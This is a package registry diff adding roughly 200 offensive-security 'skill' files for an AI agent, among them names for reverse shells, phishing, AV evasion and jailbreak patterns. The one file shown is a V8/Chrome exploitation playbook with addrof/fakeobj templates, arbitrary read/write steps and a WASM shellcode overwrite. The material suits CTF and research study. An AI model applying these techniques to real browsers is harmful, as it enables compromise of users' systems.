ineedcodes 1.6.1 → 1.7.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +5 -3
- package/src/skills.js +37 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,334 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: browser-exploitation-v8
|
|
3
|
+
description: >-
|
|
4
|
+
Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: Browser / V8 Exploitation — Expert Attack Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Expert V8/Chrome exploitation techniques. Covers V8 compilation pipeline, JIT type confusion, addrof/fakeobj primitives, ArrayBuffer corruption, WASM RWX pages, V8 sandbox (pointer compression), and Chrome sandbox escape overview. Distilled from ctf-wiki browser sections, Project Zero research, and CTF competition patterns. Base models often confuse V8 object representation details and miss the pointer compression barrier.
|
|
10
|
+
|
|
11
|
+
## 0. RELATED ROUTING
|
|
12
|
+
|
|
13
|
+
- [sandbox-escape-techniques](../sandbox-escape-techniques/SKILL.md) — Chrome renderer sandbox escape via IPC/Mojo
|
|
14
|
+
- [heap-exploitation](../heap-exploitation/SKILL.md) — general heap concepts applicable to V8 heap
|
|
15
|
+
- [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — ROP concepts for native code execution after V8 escape
|
|
16
|
+
- [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — ASLR/NX bypass in browser context
|
|
17
|
+
|
|
18
|
+
### Advanced Reference
|
|
19
|
+
|
|
20
|
+
Load [V8_EXPLOITATION_PATTERNS.md](./V8_EXPLOITATION_PATTERNS.md) when you need:
|
|
21
|
+
- Detailed exploitation patterns and code templates
|
|
22
|
+
- Heap layout manipulation and GC interaction
|
|
23
|
+
- V8 sandbox bypass techniques
|
|
24
|
+
- Object map confusion patterns
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## 1. V8 ARCHITECTURE
|
|
29
|
+
|
|
30
|
+
### Compilation Pipeline
|
|
31
|
+
|
|
32
|
+
```
|
|
33
|
+
JavaScript Source
|
|
34
|
+
↓ Parser
|
|
35
|
+
AST (Abstract Syntax Tree)
|
|
36
|
+
↓ Ignition
|
|
37
|
+
Bytecode (interpreted, profiling)
|
|
38
|
+
↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1)
|
|
39
|
+
Baseline code (fast startup)
|
|
40
|
+
↓ Maglev (mid-tier, V8 ≥ 10.2)
|
|
41
|
+
Mid-optimized code
|
|
42
|
+
↓ TurboFan (optimizing JIT)
|
|
43
|
+
Optimized machine code (with speculative optimizations)
|
|
44
|
+
↓ Deoptimization (if speculation fails)
|
|
45
|
+
Back to Ignition bytecode
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
### Key V8 Concepts
|
|
49
|
+
|
|
50
|
+
| Concept | Description |
|
|
51
|
+
|---|---|
|
|
52
|
+
| Tagged pointers | SMI (Small Integer): `value << 1`, HeapObject: `ptr \| 1` |
|
|
53
|
+
| Pointer compression | V8 ≥ 8.0: objects addressed via 32-bit offset from cage base (4GB sandbox) |
|
|
54
|
+
| Maps (Hidden Classes) | Define object shape: property names, types, offsets |
|
|
55
|
+
| Elements kinds | Internal array type: `PACKED_SMI_ELEMENTS`, `PACKED_DOUBLE_ELEMENTS`, `PACKED_ELEMENTS`, etc. |
|
|
56
|
+
| Write barrier | GC bookkeeping when heap pointers are written |
|
|
57
|
+
| Garbage collection | Orinoco GC: minor (Scavenge) and major (Mark-Compact) |
|
|
58
|
+
|
|
59
|
+
### Object Representation (64-bit, pointer compression)
|
|
60
|
+
|
|
61
|
+
```
|
|
62
|
+
HeapObject in V8 heap (compressed):
|
|
63
|
+
+0x00: Map pointer (compressed, 32-bit offset)
|
|
64
|
+
+0x04: Properties/Hash
|
|
65
|
+
+0x08: Elements pointer (compressed)
|
|
66
|
+
+0x0C: Length (for arrays)
|
|
67
|
+
+0x10: Inline properties or backing store data
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
---
|
|
71
|
+
|
|
72
|
+
## 2. COMMON V8 BUG CLASSES
|
|
73
|
+
|
|
74
|
+
| Bug Class | Description | Example |
|
|
75
|
+
|---|---|---|
|
|
76
|
+
| JIT Type Confusion | TurboFan assumes wrong type after optimization | Speculative type guard eliminated, wrong operation applied |
|
|
77
|
+
| Incorrect Bounds Elimination | JIT removes array bounds check based on wrong range analysis | `CheckBounds` node eliminated → OOB access |
|
|
78
|
+
| Prototype Chain Confusion | Optimization assumes stable prototype, mutations invalidate | Prototype change after optimization → wrong property access |
|
|
79
|
+
| Turbofan Reduction Bug | Incorrect strength reduction or constant folding | Integer overflow in range analysis |
|
|
80
|
+
| Race Condition | SharedArrayBuffer + worker thread race | Type confusion via concurrent modification |
|
|
81
|
+
| Off-by-one in Builtin | Boundary error in built-in function implementation | String/Array bounds |
|
|
82
|
+
| Typer Bug | Incorrect type range computation in TurboFan | `Typer` says value is in [0, N] but can be N+1 |
|
|
83
|
+
|
|
84
|
+
### Triggering JIT Optimization
|
|
85
|
+
|
|
86
|
+
```javascript
|
|
87
|
+
function vuln(arr) {
|
|
88
|
+
// ... vulnerable code path ...
|
|
89
|
+
}
|
|
90
|
+
// Force optimization by calling many times
|
|
91
|
+
for (let i = 0; i < 100000; i++) {
|
|
92
|
+
vuln(arr);
|
|
93
|
+
}
|
|
94
|
+
// Or use V8 intrinsics (d8 only):
|
|
95
|
+
%OptimizeFunctionOnNextCall(vuln);
|
|
96
|
+
vuln(arr);
|
|
97
|
+
```
|
|
98
|
+
|
|
99
|
+
---
|
|
100
|
+
|
|
101
|
+
## 3. EXPLOITATION PRIMITIVES
|
|
102
|
+
|
|
103
|
+
### addrof — Leak Object Address
|
|
104
|
+
|
|
105
|
+
```javascript
|
|
106
|
+
// Goal: get the raw heap address of a JavaScript object
|
|
107
|
+
// Method: type confusion between object array and float array
|
|
108
|
+
// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:
|
|
109
|
+
// - Write object reference to element of object array
|
|
110
|
+
// - Read same element as double from confused float array
|
|
111
|
+
// - Float bits = compressed pointer of the object
|
|
112
|
+
|
|
113
|
+
function addrof(obj) {
|
|
114
|
+
// Setup depends on specific bug
|
|
115
|
+
// Typically: trigger type confusion so array reads obj ref as float
|
|
116
|
+
object_array[0] = obj;
|
|
117
|
+
return ftoi(confused_float_array[0]); // float-to-int conversion
|
|
118
|
+
}
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
### fakeobj — Create Fake Object Reference
|
|
122
|
+
|
|
123
|
+
```javascript
|
|
124
|
+
// Goal: create a JS reference to an arbitrary heap address
|
|
125
|
+
// Method: reverse of addrof — write float (raw pointer bits) to float array,
|
|
126
|
+
// read from confused object array → treated as object reference
|
|
127
|
+
|
|
128
|
+
function fakeobj(addr) {
|
|
129
|
+
confused_float_array[0] = itof(addr); // int-to-float conversion
|
|
130
|
+
return object_array[0]; // now a "pointer" to addr
|
|
131
|
+
}
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
### Building Arbitrary R/W from addrof + fakeobj
|
|
135
|
+
|
|
136
|
+
```javascript
|
|
137
|
+
// 1. Create a Float64Array with known layout
|
|
138
|
+
let rw_array = new Float64Array(0x100);
|
|
139
|
+
let rw_array_addr = addrof(rw_array);
|
|
140
|
+
|
|
141
|
+
// 2. Fake a Float64Array object at controlled address with modified backing_store
|
|
142
|
+
// 3. Corrupt backing_store pointer to target address
|
|
143
|
+
// 4. Read/write through the fake Float64Array → arbitrary R/W
|
|
144
|
+
|
|
145
|
+
function read64(addr) {
|
|
146
|
+
// Set fake array's backing_store = addr
|
|
147
|
+
write_to_fake_backingstore(addr);
|
|
148
|
+
return fake_float64array[0];
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
function write64(addr, value) {
|
|
152
|
+
write_to_fake_backingstore(addr);
|
|
153
|
+
fake_float64array[0] = value;
|
|
154
|
+
}
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
---
|
|
158
|
+
|
|
159
|
+
## 4. OOB READ/WRITE VIA CONFUSED ARRAY BOUNDS
|
|
160
|
+
|
|
161
|
+
When TurboFan incorrectly eliminates bounds checks:
|
|
162
|
+
|
|
163
|
+
```javascript
|
|
164
|
+
function trigger(arr, idx) {
|
|
165
|
+
// TurboFan thinks idx is always < arr.length
|
|
166
|
+
// But due to bug, idx can exceed bounds
|
|
167
|
+
return arr[idx]; // OOB read
|
|
168
|
+
}
|
|
169
|
+
|
|
170
|
+
// OOB read adjacent memory (next heap object's metadata)
|
|
171
|
+
// OOB write to corrupt next object's map/elements/length
|
|
172
|
+
```
|
|
173
|
+
|
|
174
|
+
### What's Adjacent in V8 Heap?
|
|
175
|
+
|
|
176
|
+
Objects are allocated sequentially in V8's young generation (new space). By controlling allocation order:
|
|
177
|
+
|
|
178
|
+
```javascript
|
|
179
|
+
let arr1 = new Array(0x10); // spray object
|
|
180
|
+
let arr2 = new Float64Array(0x10); // target: adjacent to arr1
|
|
181
|
+
// OOB from arr1 can reach arr2's metadata
|
|
182
|
+
// Corrupt arr2's length → unconstrained OOB on arr2
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
---
|
|
186
|
+
|
|
187
|
+
## 5. ARRAYBUFFER ARBITRARY R/W
|
|
188
|
+
|
|
189
|
+
`ArrayBuffer`'s backing store is a raw pointer to allocated memory. Corrupting it gives absolute memory R/W.
|
|
190
|
+
|
|
191
|
+
```javascript
|
|
192
|
+
let ab = new ArrayBuffer(0x100);
|
|
193
|
+
let view = new DataView(ab);
|
|
194
|
+
// If we can overwrite ab's backing_store pointer:
|
|
195
|
+
// ab.backing_store = target_addr
|
|
196
|
+
// view.getFloat64(0) → reads 8 bytes from target_addr
|
|
197
|
+
// view.setFloat64(0, val) → writes to target_addr
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
### V8 Sandbox (Pointer Compression) Impact
|
|
201
|
+
|
|
202
|
+
Since V8 ≥ 8.0 (pointer compression) and V8 sandbox (≥ 11.x):
|
|
203
|
+
- `ArrayBuffer.backing_store` is a **sandbox pointer** (within the V8 cage, 4GB region)
|
|
204
|
+
- Cannot directly point outside the V8 cage
|
|
205
|
+
- Need sandbox escape to get full process memory access
|
|
206
|
+
|
|
207
|
+
---
|
|
208
|
+
|
|
209
|
+
## 6. WASM RWX PAGE
|
|
210
|
+
|
|
211
|
+
WebAssembly JIT code is placed on RWX (Read-Write-Execute) pages on some platforms.
|
|
212
|
+
|
|
213
|
+
```javascript
|
|
214
|
+
// Allocate WASM module → JIT compiles to RWX page
|
|
215
|
+
let wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, ...]);
|
|
216
|
+
let mod = new WebAssembly.Module(wasm_code);
|
|
217
|
+
let instance = new WebAssembly.Instance(mod);
|
|
218
|
+
// instance.exports.func → points to RWX page
|
|
219
|
+
|
|
220
|
+
// If we can find and write to this page:
|
|
221
|
+
// 1. addrof(instance) → find WASM instance object
|
|
222
|
+
// 2. Follow pointers: instance → jump_table_start → RWX page
|
|
223
|
+
// 3. Use arbitrary write to overwrite RWX page with shellcode
|
|
224
|
+
// 4. Call instance.exports.func() → executes shellcode
|
|
225
|
+
```
|
|
226
|
+
|
|
227
|
+
**Modern Chrome**: W^X enforcement means WASM pages are either RW or RX, not RWX simultaneously. JIT code is written in RW mode, then switched to RX. Exploitation requires finding a write window or using JIT spray.
|
|
228
|
+
|
|
229
|
+
---
|
|
230
|
+
|
|
231
|
+
## 7. V8 SANDBOX
|
|
232
|
+
|
|
233
|
+
### Architecture (V8 ≥ 11.x)
|
|
234
|
+
|
|
235
|
+
```
|
|
236
|
+
Process Virtual Address Space:
|
|
237
|
+
┌──────────────────────────────────────┐
|
|
238
|
+
│ V8 Sandbox Cage (4GB region) │
|
|
239
|
+
│ ├── V8 Heap (JS objects) │
|
|
240
|
+
│ ├── ArrayBuffer backing stores │
|
|
241
|
+
│ ├── WASM memory │
|
|
242
|
+
│ └── External pointer table │
|
|
243
|
+
├──────────────────────────────────────┤
|
|
244
|
+
│ Process memory outside cage │
|
|
245
|
+
│ ├── libc, Chrome code │
|
|
246
|
+
│ ├── Stack │
|
|
247
|
+
│ └── Other allocations │
|
|
248
|
+
└──────────────────────────────────────┘
|
|
249
|
+
```
|
|
250
|
+
|
|
251
|
+
### Sandbox Escape Vectors
|
|
252
|
+
|
|
253
|
+
| Vector | Method |
|
|
254
|
+
|---|---|
|
|
255
|
+
| External pointer table | Corrupt entries in the external pointer table to reference arbitrary addresses |
|
|
256
|
+
| WASM code pointer | Overwrite WASM function entry to jump to controlled shellcode |
|
|
257
|
+
| JIT code corruption | Write to JIT code page via race condition or confused pointer |
|
|
258
|
+
| Mojo IPC (Chrome) | Exploit Chrome IPC to attack browser process from compromised renderer |
|
|
259
|
+
| Backing store seal bypass | Find type confusion to get unsandboxed pointer |
|
|
260
|
+
|
|
261
|
+
---
|
|
262
|
+
|
|
263
|
+
## 8. CHROME SANDBOX ESCAPE (OVERVIEW)
|
|
264
|
+
|
|
265
|
+
After renderer RCE (via V8 exploit), the process is still sandboxed. Full compromise requires:
|
|
266
|
+
|
|
267
|
+
| Stage | Target | Example |
|
|
268
|
+
|---|---|---|
|
|
269
|
+
| Renderer exploit | V8 / Blink DOM | Type confusion → shellcode |
|
|
270
|
+
| IPC/Mojo bug | Chrome IPC layer | Use-after-free in Mojo interface |
|
|
271
|
+
| Browser process exploit | Privileged browser process | Code execution outside sandbox |
|
|
272
|
+
|
|
273
|
+
Mojo interfaces (Chrome's IPC) expose attack surface: find UAF or type confusion in Mojo message handlers.
|
|
274
|
+
|
|
275
|
+
---
|
|
276
|
+
|
|
277
|
+
## 9. TOOLS
|
|
278
|
+
|
|
279
|
+
```bash
|
|
280
|
+
# V8 debugging
|
|
281
|
+
d8 --allow-natives-syntax exploit.js # Enable V8 intrinsics (%DebugPrint, etc.)
|
|
282
|
+
d8 --trace-turbo exploit.js # Dump TurboFan IR
|
|
283
|
+
d8 --print-opt-code exploit.js # Print optimized machine code
|
|
284
|
+
|
|
285
|
+
# Turbolizer: visual TurboFan IR graph
|
|
286
|
+
# Chrome DevTools Memory panel: heap snapshots
|
|
287
|
+
|
|
288
|
+
# Build V8 for debugging
|
|
289
|
+
git clone https://chromium.googlesource.com/v8/v8.git
|
|
290
|
+
gclient sync
|
|
291
|
+
gn gen out/debug --args='is_debug=true v8_enable_sandbox=false'
|
|
292
|
+
ninja -C out/debug d8
|
|
293
|
+
```
|
|
294
|
+
|
|
295
|
+
---
|
|
296
|
+
|
|
297
|
+
## 10. DECISION TREE
|
|
298
|
+
|
|
299
|
+
```
|
|
300
|
+
V8 vulnerability identified
|
|
301
|
+
├── Bug type?
|
|
302
|
+
│ ├── JIT type confusion → trigger optimization, confuse array element kinds
|
|
303
|
+
│ ├── Bounds check elimination → OOB read/write on array
|
|
304
|
+
│ ├── Typer bug → incorrect range leads to OOB
|
|
305
|
+
│ └── Builtin bug → direct memory corruption primitive
|
|
306
|
+
│
|
|
307
|
+
├── Build primitives
|
|
308
|
+
│ ├── Can confuse object array ↔ float array?
|
|
309
|
+
│ │ └── addrof + fakeobj → arbitrary R/W within V8 heap
|
|
310
|
+
│ ├── OOB on array?
|
|
311
|
+
│ │ └── Corrupt adjacent object (length/backing_store) → expand to full R/W
|
|
312
|
+
│ └── Direct write primitive?
|
|
313
|
+
│ └── Target WASM instance or ArrayBuffer metadata
|
|
314
|
+
│
|
|
315
|
+
├── V8 sandbox enabled?
|
|
316
|
+
│ ├── YES (modern Chrome) →
|
|
317
|
+
│ │ ├── R/W limited to V8 cage (4GB)
|
|
318
|
+
│ │ ├── Need sandbox escape: external pointer table corruption,
|
|
319
|
+
│ │ │ WASM code pointer overwrite, or Mojo bug
|
|
320
|
+
│ │ └── Then proceed to shellcode execution
|
|
321
|
+
│ └── NO (older V8, CTF, d8) →
|
|
322
|
+
│ ├── Corrupt ArrayBuffer backing_store → absolute R/W
|
|
323
|
+
│ └── Overwrite WASM RWX page → shellcode
|
|
324
|
+
│
|
|
325
|
+
